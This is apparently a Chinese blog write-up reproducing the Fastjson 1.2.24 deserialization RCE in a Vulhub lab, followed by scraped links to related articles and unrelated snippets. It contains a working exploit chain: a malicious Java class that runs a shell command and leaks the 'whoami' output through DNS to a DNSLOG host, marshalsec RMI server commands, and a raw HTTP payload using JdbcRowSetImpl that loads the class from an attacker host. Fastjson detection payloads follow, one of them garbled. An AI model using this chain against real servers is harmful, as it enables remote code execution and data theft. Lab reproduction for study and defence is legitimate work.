Fastjson1.2.24RCE漏洞复现
Fastjson1.2.24RCE漏洞复现
环境搭建
这里用的Vulhub靶场
cd /vulhub/fastjson/1.2.24-rce
docker-compose up -d
报错
ERROR: Get https://registry-1.docker.io/v2/: dial tcp: lookup registry-1.docker.io: Temporary failure in name resolution
名称解析失效,我的问题是虚拟机NAT网络出了点问题,重启就好了。
参考:https://blog.csdn.net/qq_43743460/article/details/105648139
靶机环境:
Ubuntu 16 :Vulhub
Kali :
jdk 1.8 + maven 3.6.3
如果maven没有安装的话需要自己百度搭一下或者参考我这篇
docker环境起来后访问 ip:8090查看,页面是这样的。
大致流程:
编写恶意类 --> 编译为class文件 --> 在class的目录用python开一个HTTP服务 --> marshalsec起一个RMI服务 --> 构造包触发反序列化点远程加载恶意类 --> 执行命令
1234端口用Python起一个SimpleHTTPServer
9999端口利用marshalsec项目起一个RMI服务
HTTPServer与RMI可以在同一个服务器搭
将下面代码写入dnslog.java
import java.lang.Runtime;
import java.lang.Process;
public class dnslog{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.DNSLOG地址"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
生成 test.class文件
javac test.java
之后python起一个http服务,监听在1234端口上
python -m SimpleHTTPServer 1234
用marshalsec项目起一个RMI服务,监听9999端口并加载远程类dnslog.class
git clone https://github.com/mbechler/marshalsec.git
# mvn编译 marshalsec项目
mvn clean package -DskipTests
编译完成会出现如下图的 BUILD SUCCESS 的INFO信息。
开启RMI服务并加载dnslog类
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.124.141:4567/#dnslog" 9999
漏洞复现
ok,下面burp抓包发送payload即可,因为DNS解析的问题,第一次解析会有些慢需要多等会。
poc:
POST / HTTP/1.1
Host: 192.168.124.153:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 174
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.124.141:9999/dnslog",
"autoCommit":true
}
}
响应包和DNSLOG:
RMI服务:
SimpleHTTPServer:
判断fastjson
这里参考的是freebuf大佬的思路,主要是根据返回包判断,再一个就是DNSLOG盲打。文末贴上传送门。
即看到json的返回包,抓个包,POST只加个 {
发过去,如果返回包报错存在fastjson字样就确认了。当然这个了能会屏蔽。
比如vulhub靶场这个就不可以了
或构造以下payload,利用dnslog平台接收。
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}
["@Type":"Java.Net.InetSocketAddress"{"address":,"Val":"Zhèlǐ shì dnslog"}}]"@Type":
"java.net.InetSocketAddress" { "address":, "val": "This is dnslog"}}
Reference
https://www.freebuf.com/articles/web/242712.html
https://www.cnblogs.com/cute-puli/p/13466362.html
Fastjson1.2.24RCE漏洞复现的更多相关文章
- Fastjson <=1.2.62 远程代码执行-漏洞复现
影响范围: Fastjson<=1.2.62 需要开启autotype poc: String text1 = "{\"@type\":\"org.apa ...
- Fastjson远程代码执行漏洞复现
fastjson漏洞简介 Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式.它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令 ...
- ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程
没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...
- 【S2-052】漏洞复现(CVE-2017-9805)
一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...
- markdown反射型xss漏洞复现
markdown xss漏洞复现 转载至橘子师傅:https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html 漏洞成因 最初是看到Hack ...
- WebLogic XMLDecoder反序列化漏洞复现
WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...
- Struts2-052 漏洞复现
s2-052漏洞复现 参考链接: http://www.freebuf.com/vuls/147017.html http://www.freebuf.com/vuls/146718.html 漏洞描 ...
- Typecho反序列化导致前台 getshell 漏洞复现
Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...
- Tomcat/7.0.81 远程代码执行漏洞复现
Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...
随机推荐
- poj2923 Relocation
Description Emma and Eric are moving to their new house they bought after returning from their honey ...
- javascript——function类型(this关键字)
如果不用分组的话,当用exec检测rar的时候会错误 结果: Function: 返回值为三(不推荐)
- mysql(四)------Mysql中的锁
1. 2 MySQL InnoDB 锁的基本类型 https://dev.mysql.com/doc/refman/5.7/en/innodb-locking.html 官网把锁分成了 8 类.所以我 ...
- H5 页面如何展示大量的表格数据
H5 页面如何展示大量的表格数据 列数过多 图表化 refs xgqfrms 2012-2020 www.cnblogs.com 发布文章使用:只允许注册用户才可以访问!
- React 性能优化 All In One
React 性能优化 All In One Use CSS Variables instead of React Context https://epicreact.dev/css-variables ...
- vscode & javascript & react & "editor.foldingStrategy": "indentation"
vscode & javascript & react & "editor.foldingStrategy": "indentation" ...
- super fast sort algorithm in js
super fast sort algorithm in js sort algorithm Promise.race (return the fast one) Async / Await // c ...
- TweenMax & GSAP & SVG Animation
TweenMax & GSAP & SVG Animation svg animation https://greensock.com/tweenmax GSAP https://ww ...
- sketch 导出 svg
sketch 导出 svg refs xgqfrms 2012-2020 www.cnblogs.com 发布文章使用:只允许注册用户才可以访问!
- c++ DWORD和uintptr_t
x86模式 DWORD 是4字节 x86模式 uintptr_t 是4字节 x64模式 DWORD 是4字节 x64模式 uintptr_t 是8字节 std::cout << sizeo ...